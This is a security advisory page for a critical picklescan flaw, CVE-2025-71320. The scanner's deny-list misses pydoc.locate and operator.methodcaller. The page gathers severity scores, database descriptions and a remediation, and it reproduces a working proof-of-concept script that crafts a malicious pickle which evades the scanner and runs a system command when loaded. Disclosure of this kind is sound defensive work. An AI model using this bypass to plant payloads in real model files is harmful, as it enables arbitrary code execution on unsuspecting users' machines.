9.3critical
picklescan - Remote Code Execution via Incomplete Disallowed Inputs
- Severity
- 9.3critical CVSS:4.0 by VulnCheck
- Exploit likelihood
- 0.82% (higher than 58% of CVEs; EPSS, by FIRST)
- Published
- Last changed
- Assigned by
- VulnCheck
- Also known as
- GHSA-84r2-jw7c-4r5qPYSEC-2026-1785
Description
picklescan before 0.0.33 contains an incomplete deny-list that fails to block pydoc.locate and operator.methodcaller functions, allowing attackers to bypass security checks. Remote attackers can craft malicious pickle files using these unblocked functions to achieve arbitrary code execution when the pickle is deserialized.
Affected
| Product or package | Versions | Reported by |
|---|---|---|
| picklescan picklescan | before 0.0.33 Not affected: 0.0.33 | CVE List |
| picklescan (PyPI) | before 0.0.33 | GitHub Advisory Database, PyPA Advisory Database |
All scores
| VulnCheck | 9.3critical CVSS:4.0 | CVSS:4.0/AV:N/AC:L/AT:N/PR:N/UI:N/VC:H/VI:H/VA:H/SC:N/SI:N/SA:N |
| VulnCheck | 9.8critical CVSS:3.1 | CVSS:3.1/AV:N/AC:L/PR:N/UI:N/S:U/C:H/I:H/A:H |
| GitHub | high CVSS:4.0 | CVSS:4.0/AV:N/AC:L/AT:N/PR:N/UI:N/VC:H/VI:H/VA:H/SC:N/SI:N/SA:N/E:P |
| PyPA Advisory Database | Not scored CVSS:4.0 | CVSS:4.0/AV:N/AC:L/AT:N/PR:N/UI:N/VC:H/VI:H/VA:H/SC:N/SI:N/SA:N/E:P |
Classification
SSVC (CISA-ADP): exploitation poc, automatable yes, technical impact total.
What each source says
CVE List
picklescan before 0.0.33 contains an incomplete deny-list that fails to block pydoc.locate and operator.methodcaller functions, allowing attackers to bypass security checks. Remote attackers can craft malicious pickle files using these unblocked functions to achieve arbitrary code execution when the pickle is deserialized.
GitHub Advisory Database
Summary
Currently picklescanner only blocks some specific functions of the pydoc and operator modules. Attackers can use other functions within these allowed modules to go through undetected and achieve RCE on the final user. Particularly
- pydoc.locate: Can dynamically resolve and import arbitrary modules (e.g., resolving the string "os" to the actual os module).
- operator.methodcaller: Allows executing a method on an object. When combined with a resolved module object, it can execute functions like system.
Since locate and methodcaller are not explicitly listed in the deny-list, picklescan treats them as "Safe" or "Suspicious" (depending on configuration) but does not flag them as "Dangerous", allowing the malicious file to bypass the security check.
PoC
use the provided script to create a malicious pickle file
import pickle
import pydoc
import operator
import os
class ModuleLocator:
def __init__(self, module_name):
self.module_name = module_name
def __reduce__(self):
return (pydoc.locate, (self.module_name,))
class RCEPayload:
def __reduce__(self):
cmd = "notepad" #put your payload here
mc = operator.methodcaller("system", cmd)
return (mc, (ModuleLocator("os"),))
def generate_exploit():
payload = RCEPayload()
try:
with open("bypass.pkl", "wb") as f:
f.write(pickle.dumps(payload))
print("File 'bypass.pkl' created.")
except Exception as e:
print(f"Error: {e}")
if __name__ == "__main__":
generate_exploit()
The generated payload will not be flagged as dangerous by picklescan but is actually malicious.
import pickle
print("Loading bypass.pkl...")
pickle.load(open("bypass.pkl", "rb"))
Script to open the pickle file, demonstrating impact
imageRemediation
The deny-list for these modules must be upgraded from specific functions to a wildcard (*), indicating that any use of these modules is dangerous.
NVD (es)
picklescan anterior a la versión 0.0.33 contiene una lista de denegación incompleta que no logra bloquear las funciones pydoc.locate y operator.methodcaller, permitiendo a los atacantes eludir las comprobaciones de seguridad. Atacantes remotos pueden crear archivos pickle maliciosos utilizando estas funciones no bloqueadas para lograr ejecución de código arbitrario cuando el pickle es deserializado.
References
Sources
| Source | Record | Licence |
|---|---|---|
| CVE List | CVE-2025-71320 changed 2026-11-08 | CVE Terms of Use |
| GitHub Advisory Database | GHSA-84r2-jw7c-4r5q changed 2026-07-07 | CC-BY-4.0 |
| NVD | CVE-2025-71320 changed 2026-10-12 | Public domain |
| PyPA Advisory Database | PYSEC-2026-1785 changed 2026-07-07 | CC-BY-4.0 |